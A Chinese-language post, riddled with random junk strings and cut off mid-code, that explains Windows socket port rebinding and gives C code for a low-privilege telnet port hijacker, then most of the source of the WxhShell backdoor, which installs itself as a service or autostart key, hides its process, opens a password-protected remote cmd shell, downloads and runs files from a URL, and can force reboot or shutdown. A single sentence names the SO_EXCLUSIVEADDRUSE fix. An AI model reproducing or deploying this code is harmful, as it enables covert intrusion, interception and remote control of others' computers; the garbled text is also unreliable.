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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q4ipumy* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vZkXt!%) [w+Q^\%bN saddr.sin_family = AF_INET; &?+WXL> XmWlv{T+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); J`oTes, )a cV-+{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /IR#A%U G{RTH_p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4:1)~z .Yx_:h=u 这意味着什么?意味着可以进行如下的攻击: ?QpNjsF @6&JR<g*t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'Kz9ygZy sLns3&n2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nl
n OwyMJ n?E}b$6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6G_<2bO :a3xvN-l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 S "
pI GGnp Pp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w%xCTeK[ P5?<_x0v4b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;>ozEh#8w K)[8 H~Lm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ee30ELn #I%s3 #include Dp!zk}f| #include yA;W/I4 #include 9lspo~M #include R^8{bP DWORD WINAPI ClientThread(LPVOID lpParam); $j*Qo/xd int main() !buz<h { `# ^0cW WORD wVersionRequested; n&!+wcJ;Yt DWORD ret; 97LpY_sU WSADATA wsaData; g}Qx`65: BOOL val; P!<[U!<hH SOCKADDR_IN saddr; J(iV0LAZb SOCKADDR_IN scaddr; K
,isjh2 int err; BSzkW}3q9 SOCKET s;
CL3xg)x6 SOCKET sc; &]iKriG int caddsize; )2.)3w1_4 HANDLE mt; g>0vm2| DWORD tid; <qeCso wVersionRequested = MAKEWORD( 2, 2 ); MCYl{uH! err = WSAStartup( wVersionRequested, &wsaData ); ]P1YHw9 if ( err != 0 ) { geGeZ5+B printf("error!WSAStartup failed!\n"); y0IK,W'&? return -1; -s"0/)HD } ZkWL_ H) saddr.sin_family = AF_INET; $0qMQ%P `X8@/wf# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NFyMY#\] nSS=%,? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l(:kfR~AC saddr.sin_port = htons(23); !j^&gRH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (tCib 4 { %ROwr[Dj= printf("error!socket failed!\n"); , =y#m-9 return -1; ISNcswN# } o`? zF+M0 val = TRUE; W{Z^n(f4 //SO_REUSEADDR选项就是可以实现端口重绑定的 Iti0qnBN5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E*CcV; {
BIMKsF Zt printf("error!setsockopt failed!\n"); 8 ws$k\> return -1; q7Es$zjX } oF|N O^H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p>kq+mP2bc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .SS<MDcqIt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |>1hu1 1}g:|Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~5OL6Bi-q { {IM! Wb ret=GetLastError(); j1U 5~%^ printf("error!bind failed!\n"); %oof}=MxCL return -1; (! KG)! } ;Icixu'O listen(s,2); pJ^NA2 while(1) ?<%=:
Yh { >k(MUmhX caddsize = sizeof(scaddr); ,sQ93(Vo //接受连接请求 P+(i^=S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,+1m`9} if(sc!=INVALID_SOCKET) sqO<J$tz { @WOM#Kc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |a(fejO3 if(mt==NULL)
9
[Y-M { 46x.i;b7 printf("Thread Creat Failed!\n"); h*l&RR:i break; -Zc![cAlO } {aOkV:: } U@-2Q= CloseHandle(mt); -_0?_Cb } WlVl[/qt closesocket(s); FxW&8 9G WSACleanup(); #I0pYA2m return 0; iEHh{H( } 1{PG>W DWORD WINAPI ClientThread(LPVOID lpParam) *75YGD { f`$Gz SOCKET ss = (SOCKET)lpParam; c$H+g,7xQ- SOCKET sc; _GA$6#] unsigned char buf[4096]; LR&_2e^[ SOCKADDR_IN saddr; m
VxO$A, long num; $P {K2"Oc DWORD val; lP_db& DWORD ret; "&o,yd% //如果是隐藏端口应用的话,可以在此处加一些判断 %w}gzxN^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 dQ:cYNm saddr.sin_family = AF_INET; fg*@<' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DSyXr~p8 saddr.sin_port = htons(23); <M+R\SH- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v;2CU { 1,t)3;o$ printf("error!socket failed!\n"); E4%j. return -1; K 1#ji*Tp } ^Z,q$Gp~P val = 100; $95~5]-nh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5f7zk { Lc2QXeo8 ret = GetLastError(); |\9TvN^$` return -1; <=um1P3X } iz^qR={bW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JAb6 zpP { C"V%# K ret = GetLastError();
Nh!_l return -1; 1T|$BK@) } =\kMXB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <^R{U&Z@ { 3{7T4p.G printf("error!socket connect failed!\n"); :QQlI closesocket(sc); _F(P*[[& closesocket(ss); 4vZ4/#(x return -1; NTs7KSgZ } ~W#sTrK while(1) Ve 3 ; { PR7f(NC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W[''Cc. //如果是嗅探内容的话,可以再此处进行内容分析和记录 _=f=f cl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UXr5aZ7y num = recv(ss,buf,4096,0); m\u26`M if(num>0) Rd&9E send(sc,buf,num,0); S]/b\B.h+ else if(num==0) K`%tGVY break; %/9;ZV num = recv(sc,buf,4096,0); IzLF'F if(num>0) P7 y q^| send(ss,buf,num,0); $hrIO+ else if(num==0) ]1`g^Z@ 0 break; eTay>G } \FmKJ\ closesocket(ss); X$?3U! closesocket(sc); }%!tT\8 return 0 ; q?j|K|%
} A&5:ATQ/| `u'bRp ?V(^YFzZ ========================================================== n`7f"'/: (K..k-o`. 下边附上一个代码,,WXhSHELL )Di \_/G -1|iz2^N ========================================================== i&Fiq&V)[ ?knYY>Kzh1 #include "stdafx.h" %D}H|*IPu E; Y;r" #include <stdio.h> i{c@S:&@^ #include <string.h> v}JD2.O+ #include <windows.h> d'
>>E #include <winsock2.h> {D&9UZm #include <winsvc.h> Vy<HA* #include <urlmon.h> '_P\#7$!MV sq /]wzT: #pragma comment (lib, "Ws2_32.lib")
W-~n|PX8+ #pragma comment (lib, "urlmon.lib") d 4?d4;{ ,,L2(N #define MAX_USER 100 // 最大客户端连接数 N5zlT #define BUF_SOCK 200 // sock buffer |J5 =J #define KEY_BUFF 255 // 输入 buffer O\KQl0*l\\ a`Qot #define REBOOT 0 // 重启 24c ek #define SHUTDOWN 1 // 关机 %qf V+^ 6vKS".4C #define DEF_PORT 5000 // 监听端口 B@YyQ' siDh="{s #define REG_LEN 16 // 注册表键长度 Q _iO(qu
6 #define SVC_LEN 80 // NT服务名长度 z&8un%Jt fl\aqtF // 从dll定义API !5@_j,lW( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B$Z3+$hfF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ![6EUMx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z;Rp+X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SlLw{Yb7\. ]q5`YB%_ // wxhshell配置信息 5+Mdh` struct WSCFG { Ty(@+M~- int ws_port; // 监听端口 1SIq[1 char ws_passstr[REG_LEN]; // 口令 {Rq1HH int ws_autoins; // 安装标记, 1=yes 0=no Uh1NO&i.W char ws_regname[REG_LEN]; // 注册表键名 J
T#d(Y char ws_svcname[REG_LEN]; // 服务名 eas:6Q) char ws_svcdisp[SVC_LEN]; // 服务显示名 `fXyWrz-k char ws_svcdesc[SVC_LEN]; // 服务描述信息 3-Dt[0%{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?jQ](i& int ws_downexe; // 下载执行标记, 1=yes 0=no g.JN_t5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $*a'84-5G- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nwt C:*} C`jM0Q }; `i
+g{kE2M !}+tdT(y // default Wxhshell configuration hJz):d>Im struct WSCFG wscfg={DEF_PORT, cV{%^0?D "xuhuanlingzhe", }V;+l8 1, 4F3x@H' "Wxhshell", W,@
If} "Wxhshell", U_l'3oPJw "WxhShell Service", OX:O^ (-r, "Wrsky Windows CmdShell Service", S\6[EQ65 "Please Input Your Password: ", ow=UtA-^O 1, +y2[msBs " http://www.wrsky.com/wxhshell.exe", g @I6$Z "Wxhshell.exe" V}o n|A }; F
09DV<j l=N2lHU // 消息定义模块 d1@%W;qX! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I
V%VU char *msg_ws_prompt="\n\r? for help\n\r#>"; e6B{QP#jq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; am_gH char *msg_ws_ext="\n\rExit."; Zc
|/{$>:W char *msg_ws_end="\n\rQuit."; -V"22sR] char *msg_ws_boot="\n\rReboot..."; Ch()P.n? char *msg_ws_poff="\n\rShutdown..."; dm"n% char *msg_ws_down="\n\rSave to "; @;xMs8@ ]9=h%5Ji> char *msg_ws_err="\n\rErr!"; "1q>At char *msg_ws_ok="\n\rOK!"; j6~nE'sQ m\>a,oZH char ExeFile[MAX_PATH]; GSoZx0 int nUser = 0; ]{
BEr* HANDLE handles[MAX_USER]; wfL-oi'5 int OsIsNt; /:6Wzj jJ4qR:] SERVICE_STATUS serviceStatus; Ko&hj XHx SERVICE_STATUS_HANDLE hServiceStatusHandle; gw`B "c| ]W0EVf=,k // 函数声明 dLsn\m> int Install(void); _ 7PMmW@ int Uninstall(void); Glq85S int DownloadFile(char *sURL, SOCKET wsh); i`/+,< int Boot(int flag); MC0TaP void HideProc(void); $wYtyN[ int GetOsVer(void); KV|}# <dD int Wxhshell(SOCKET wsl); /:<IIqO. void TalkWithClient(void *cs); ri C[lB int CmdShell(SOCKET sock); S.B<pjgt int StartFromService(void); M@P1, Y int StartWxhshell(LPSTR lpCmdLine); ]J9cVp -IlJ^Al4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4$/i%B#ad VOID WINAPI NTServiceHandler( DWORD fdwControl ); sC00un% E@a3~a // 数据结构和表定义 ;v17K SERVICE_TABLE_ENTRY DispatchTable[] = '`Bm'Dd { )CI1; {wscfg.ws_svcname, NTServiceMain}, a"/#+=[ {NULL, NULL} IfO;S*Qt }; 4GG>!@| _<$>*i
R // 自我安装 d"G+8}.4 int Install(void) + SZYg[ { ^1:U'jIXO char svExeFile[MAX_PATH]; 41#w|L
\ HKEY key; eMOD;{Q?X strcpy(svExeFile,ExeFile); ES <1tG J68j=`Y // 如果是win9x系统,修改注册表设为自启动 FZd.L6q if(!OsIsNt) { j4FeSGa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L_Q#(in RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Sa*`q3J RegCloseKey(key); ""O" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z|G9,:9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _u"nvgVz9 RegCloseKey(key); E'1+ Yq return 0; : FAH\ } +u@aJ_^ } {^{p,9 } %I!:ITa else { bf_I9Z3m 71#I5*8 // 如果是NT以上系统,安装为系统服务 8,?v?uE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Th$#3 if (schSCManager!=0) v]2S`ffP { ]!:oYAm SC_HANDLE schService = CreateService 0,*%vG?Q ( fsO9EEn7X schSCManager, zWw2V}U! wscfg.ws_svcname, ezhDcI_T wscfg.ws_svcdisp, wI M{pK SERVICE_ALL_ACCESS, 6nDV1O5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]"AyAkT( SERVICE_AUTO_START, v,NHQyk SERVICE_ERROR_NORMAL, `\=Gp'&Q+ svExeFile, B bhfG64 NULL, U]qav,^[ NULL, v8>v.}y NULL, |1Dc!V'?" NULL, SEQ%'E5-' NULL #LcrI ); K.tlo^#^B[ if (schService!=0) IC/(R! Crj { F}Mhs17!| CloseServiceHandle(schService); @#+jMV$g CloseServiceHandle(schSCManager); 9L%I<5i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &a> lWE strcat(svExeFile,wscfg.ws_svcname); N5|Rmfo1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mIZwAKo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0X..e$ ' RegCloseKey(key); rgIrr5 return 0; `T ^G^7& } mOll5O7VW } m(D]qYwh CloseServiceHandle(schSCManager); Qz<d~N } J.*XXM- V } nR
\'[~+ u%|zc= return 1; {!ZyCi19 } !.-tW7 7&}P{<}o^ // 自我卸载
a<XCNTaVT int Uninstall(void) v|Jlf$> { FD7H@L5 HKEY key; :@
uIxa$[ n[xkSF^) if(!OsIsNt) { BJjx|VA+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4FeEGySow RegDeleteValue(key,wscfg.ws_regname); /%x7+Rl\-^ RegCloseKey(key); +,'T=Ic{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l1_X(Z._V RegDeleteValue(key,wscfg.ws_regname); e]+OO
g& RegCloseKey(key); r2*<\ax return 0; Zp`T } yFIy`9R } MKGS`X]<J } BWPP5X9 else { tgFJZA 7l8[xV
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j28 _HhT if (schSCManager!=0) i`U:gw { %(m]) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S*W;%J5 if (schService!=0) -mNQ;zI1 { JV"NZvjN7d if(DeleteService(schService)!=0) { >O{7/)gS^ CloseServiceHandle(schService); #mc!Wt10 CloseServiceHandle(schSCManager); O??vm?eo return 0; 1IH[g*f } =iz,S:[ CloseServiceHandle(schService); X33v:9= } Z_z#QX>=D CloseServiceHandle(schSCManager); j\)H } `"y`AY/N } )na&"bJ ?qHF}k| return 1; ``4wX-y } \3Jq_9Xv s3t!<9[m // 从指定url下载文件 Ub)I66 int DownloadFile(char *sURL, SOCKET wsh) ksI>IW { "e62/Ejg% HRESULT hr; e1 a*'T$z char seps[]= "/"; vE\lp8j+ char *token; 8[5|_Eh+ char *file; TQ9'76INb char myURL[MAX_PATH]; bkQ3c-C< char myFILE[MAX_PATH]; >]$aoA# 6 DP[g8 strcpy(myURL,sURL); Wc'Ehyi; token=strtok(myURL,seps); (aKZ5>>cN while(token!=NULL) 'F_}xMU { 1kFjas`g file=token; uEd,rEB> token=strtok(NULL,seps); tHI*, } } p'8w\C$ H?:Jq\Ba0 GetCurrentDirectory(MAX_PATH,myFILE); U</+ .$b strcat(myFILE, "\\"); pCt}66k} strcat(myFILE, file); 1r4,XSk send(wsh,myFILE,strlen(myFILE),0); U"5q;9#q send(wsh,"...",3,0); pMN<p[MB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ROoE%%8I if(hr==S_OK) 7:o+iP4 6 return 0; c^S&F9/U* else TETsg5# return 1; nFXAF!,jj lO2k< } Ak=UtDN[ 3?ba
1F0Nw // 系统电源模块 D@hmO]5c int Boot(int flag) < l[`"0 { &&C~@WY,r HANDLE hToken; 1g i}H) TOKEN_PRIVILEGES tkp; WEC-<fN|Y\ .
bG{T| if(OsIsNt) { 1URsHV!xcM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s^PmnFR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^<9)"9)m_ tkp.PrivilegeCount = 1; 9p<:LZd~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >sV Bj(f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c~oe,9 if(flag==REBOOT) {
rk|a'& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;U7t return 0; WguV{#=H } +~:0Dxv W else { KgU[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,CW%JIM return 0; uN&M\( } f[M"EMy } gT7I9 (x!W else { -9Xw]I#QR if(flag==REBOOT) { "GB UQ} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7eH@n<]Y2 return 0; *EE|?vn } _Fvsi3d/ else { ^ N_`^m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {lKEZirO return 0; mZ &] } 3DHvaq q7 } >,w P!;dh F13%)G( return 1; .=aMjrME } vev8l\ LQ|<3] // win9x进程隐藏模块 A8`orMo2 void HideProc(void) n%Rjt!9 { IT7:QEfKU *xho HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /iTH0@Kw; if ( hKernel != NULL ) CTh1;U20 { m
R"9&wq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C(ZcR_+r$, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JCBnFrP FreeLibrary(hKernel); 4>d[qr*< } 13]y)( RH1U_gp4 ] return; A`
oa|k!U } P}b Dn; ZW`HDrP` // 获取操作系统版本 .|tQ=l@I int GetOsVer(void) 1gO//fdI { +# A|Zp< OSVERSIONINFO winfo; J78Qj[v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z7ZWf'o GetVersionEx(&winfo); d
u_O} x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uV#-8a5! return 1; C5d/)aC else A89Y;_4y return 0; Ni/|C19Z } F12S(5Z0% `\6 +z // 客户端句柄模块 F\I5fNs@ int Wxhshell(SOCKET wsl) $=X!nQ& Z| { HE4`9$kVLr SOCKET wsh; N2 M?5fF struct sockaddr_in client; 4"rb&$E DWORD myID; 5QCw5N |8b$x| B while(nUser<MAX_USER) <5C=i:6% { Z%(Df3~gmm int nSize=sizeof(client); !^rITiy wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :cIu?7A if(wsh==INVALID_SOCKET) return 1; =Td#2V;0 $L $j
KNwf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <<~lV5 if(handles[nUser]==0) W`
6"!V closesocket(wsh); Y,p2eAss else {3_F fsg` nUser++; m&;zLBA; } VhJyWH%( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A@fshWrl% 5G
dY7t_1 return 0; E#WjoIk } !]UU;8h~ Al;%u0]5 // 关闭 socket 3:z4M9f void CloseIt(SOCKET wsh) ;RTrRh0v { !kjr>:)x closesocket(wsh); ]y$V/Ij=qK nUser--; h|Teh-@A5 ExitThread(0); D| 8sjp4 } )U3 H15 _tWfb}6;Zb // 客户端请求句柄 jQw`*Y/, void TalkWithClient(void *cs) %^)Ja EUC { xhp-4 9cx!N,R t SOCKET wsh=(SOCKET)cs; )e <! =S char pwd[SVC_LEN]; o 0cc+ char cmd[KEY_BUFF]; /oixtO) char chr[1]; Wtzj;GJj int i,j; Q'%5"&XFD !<UEq`2 while (nUser < MAX_USER) { 0ga1Yr] HK,G8:T if(wscfg.ws_passstr) { ytcG6WN3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AcfkY m~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S<bz7
k9 //ZeroMemory(pwd,KEY_BUFF); Z2pN<S{5 i=0; E]U3O>hf while(i<SVC_LEN) { {"@b` spoWdRM2 // 设置超时 M
b /X@51 fd_set FdRead; Lb3K};SIV struct timeval TimeOut; :\w[xqH FD_ZERO(&FdRead); fG[3%e FD_SET(wsh,&FdRead); ^Hhw(@`qf TimeOut.tv_sec=8; g cK" TimeOut.tv_usec=0; p9] 7g% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,B/p1^;. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nAba
=iW {-7yZ]OO$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +qW w-8 pwd =chr[0]; $rQFM[ if(chr[0]==0xd || chr[0]==0xa) { ]OCJ~Zw pwd=0; j7HlvoZV break; n4_:#L? } <[B[ i++; SAxa7B/U2 } Wj{Rp{}3 O[(HE8E // 如果是非法用户,关闭 socket _Ag/gu2-? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cZX&itVc: } s2v#evI`+ |I^Jn@Mq: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
a):Run send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S%gO6&^ HtXBaIl\ while(1) { *Wo$$T !m:PBl5
ZeroMemory(cmd,KEY_BUFF); SoGLsO+R _x|8U'|Ce // 自动支持客户端 telnet标准 jl0Eg j=0; {F9Qy0.*u while(j<KEY_BUFF) { 8sjHQ)< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iF_r'+j cmd[j]=chr[0]; x^#{2}4u if(chr[0]==0xa || chr[0]==0xd) { 2?7hUaHX cmd[j]=0; y#Sw>-zRq break; |iJZC } ~U*N'>'=) j++; T2PFE4+Dp } j%y+W{Q[ d*:qFq_ // 下载文件 S^`9[$KH0 if(strstr(cmd,"http://")) { &EJ,k'7$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); GZ[h`FJg/ if(DownloadFile(cmd,wsh)) ^V,/4u send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQS w&G else ^F0jI5j ). send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
(mD:[|. } Q
pc^qP^- else {
~zC fan/ |nZB/YZt switch(cmd[0]) { %=O!K>^vt< [gr[0aG Bc // 帮助 ]Tw6Fg1o> case '?': { b/}0
&VXo send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >@e%,z break; jy|xDQ } WWD@rn sVf // 安装 z:jF)N case 'i': { 959jp85 if(Install()) ly5L-=Xb send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]_xGVwem else 3evfX[V# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZGvNEjff break; N!&VBx^z } &: 8 &;vk // 卸载 {v/6| case 'r': { / hdl if(Uninstall())
!@1!ld send(wsh,msg_ws_err,strlen(msg_ws_err),0); RtQfE+ else Q</HFpE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HD|)D5wH| break; w~?eX/; } S$/3K q // 显示 wxhshell 所在路径 d/QM case 'p': { Gw,kC{:C char svExeFile[MAX_PATH]; &}=,8Gt1G strcpy(svExeFile,"\n\r"); L KR,CPz strcat(svExeFile,ExeFile); FEswNB(]* send(wsh,svExeFile,strlen(svExeFile),0); Oip..f0 break; t4f\0`jN } ..mz!:Zs0 // 重启 tJ=zk3BN~ case 'b': { SVz.d/3Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +c_CYkHJ/ if(Boot(REBOOT)) $ayD55W4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vk
T3_f else { Xq^{P2\w1 closesocket(wsh); KphEw[4/ ExitThread(0); &>t1A5 } `"4EE}eQc break; `q*ABsj } Us.jyg7_c // 关机 biK.HL\V case 'd': { syvi/6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a@1gMZc* if(Boot(SHUTDOWN)) FgaBwd^W send(wsh,msg_ws_err,strlen(msg_ws_err),0); +N:%`9}2V else { ')<$AMy1 closesocket(wsh); c?S402M} ExitThread(0); sBL^NDqa2 } yRDLg
c break; K.Z{4x=0 } VTa8.(i6v // 获取shell EZV$1pa case 's': { k/O&,T77}J CmdShell(wsh); +^:K#S9U closesocket(wsh); s<]l[Y> ExitThread(0); B;Vl+}R break; ^\%%9jY } .EQFHStr // 退出 [XK"$C]jHJ case 'x': { U>XGJQ<NS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m\=u/Zip CloseIt(wsh); HY:n{=o break;
XMdYted } \Qn8"I83AV // 离开 &D#v0!e~x case 'q': { %e(,PL send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6G],t)<A'- closesocket(wsh); G <q@K- WSACleanup(); q[lqEc exit(1); EC0auB7G break; H Vy^^$ } XA68H!I } l{4\Wn Va } /e\dsC{uJ )NK2uD // 提示信息 $.kYAsZts if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Jx{Uv } _%]H}N Q } EMo6$( moGbBkO return; gqhW.e}] } `}bUf epMJ @?U5t1O< // shell模块句柄 #LZ`kSlv4 int CmdShell(SOCKET sock) @N$r'@ { T7v8}_"- STARTUPINFO si; 8"@<s?0\" ZeroMemory(&si,sizeof(si)); c?d#Bj ? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y-U(`{[nM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U7W ct % PROCESS_INFORMATION ProcessInfo; Vswi /( char cmdline[]="cmd"; `e bB+gI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2a^(8A`7W return 0; ra3WLK } [qz6_WOo wcOAyo5(n // 自身启动模式 ch&r. int StartFromService(void) \yqiv"' { CY:pYke= typedef struct Vl EkT9^: { \=@}(<4 DWORD ExitStatus; P/_XDP./U DWORD PebBaseAddress; cE3co(j DWORD AffinityMask; O
Rfl v+ DWORD BasePriority; mH?hzxa+ ULONG UniqueProcessId; sk5\"jna ULONG InheritedFromUniqueProcessId; kB
